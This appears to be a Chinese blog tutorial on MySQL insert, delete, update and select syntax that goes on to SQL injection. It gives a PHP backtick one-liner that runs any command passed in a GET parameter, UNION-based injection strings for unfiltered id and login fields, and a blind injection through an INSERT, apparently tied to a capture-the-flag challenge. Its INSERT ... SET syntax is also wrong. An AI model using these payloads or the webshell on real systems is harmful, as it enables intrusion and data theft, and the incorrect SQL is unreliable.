MySQL的增删改查
增、删、改、查,贴码:
1、增加数据
-
insert into table_name value ('1','2',3…)
-
也可以通过set指定添加的字段:insert into table_name set ('1',3…) value(1,2,3…)
那么第二条跟第一条有什么区别呢?
举个栗子:user表中有三个字段;
用第一条命令添加数据 value 值后面必须有三个值;
而用第二条命令 ,可以通过 set 设置指明 我就需要 添加 第一列和第三列的,第二列不需要填,那么value值就填俩个值就OK;
注:添加数据时可以同 ` 这个符号(ESC下面一个的按键)表明这是个字段,是MySQL的转义符,如: insert into user value (`juzi`,`20`) ;用于包含数据库名、表名、字段名,避免与其他关键字冲突;
小技巧:<?php $test=$_GET['zxc']; echo `$test`; ?> 这句话等效于 <?php eval($_GET['zxc']); ?> 这句话就是使用 ` 这个反勾号达到的效果;
2、删除数据
- delete from table_name where id=1; #删数据
- drop database db_name; #删数据库
- drop table table_name; #删表
3、修改数据
- update table_name set column_name='%d' where id =%d %d 作为可以替换的数据,column_name 是 字段名
4、查找数据
- select * from table_name #查找数据
- select column_name from table_name where column_name=%d %d 作为可以替换的数据
写个 查找数据 时的注入漏洞吧;
举栗:
若原查询语句为: select username from user where id='$id' 或为 select * from user where username='$username'&passwd='$passwd' 其中 $id、$username、$passwdd 是 通过浏览器 接收过来的变量,即可控变量;(假设没做过滤)
那么构造语句为:
$id = 0' union select 1,database(),'3
$username = 0' union select 1,database(),3#
$passwd = 不写也行
select username from user where id='0' union select 1,database(),'3' 以及 select * from user where username='0' union select 1,database(),3# '&passwd='' 井号后面不解析,注释了
那么再举个栗子:
通过 insert into 增加数据 构造注入;
insert into table_name value('1','2','3'...) 1,2,3为前端浏览器输入的内容,即可控制;
构造语句:insert into table_name value('1','0'+substr((select database()) from 1 for 1)+'0','3') 必要时,可以在 substr 外面加个 ASCII()进行转码;为什么这么写,上篇unfinish有提到;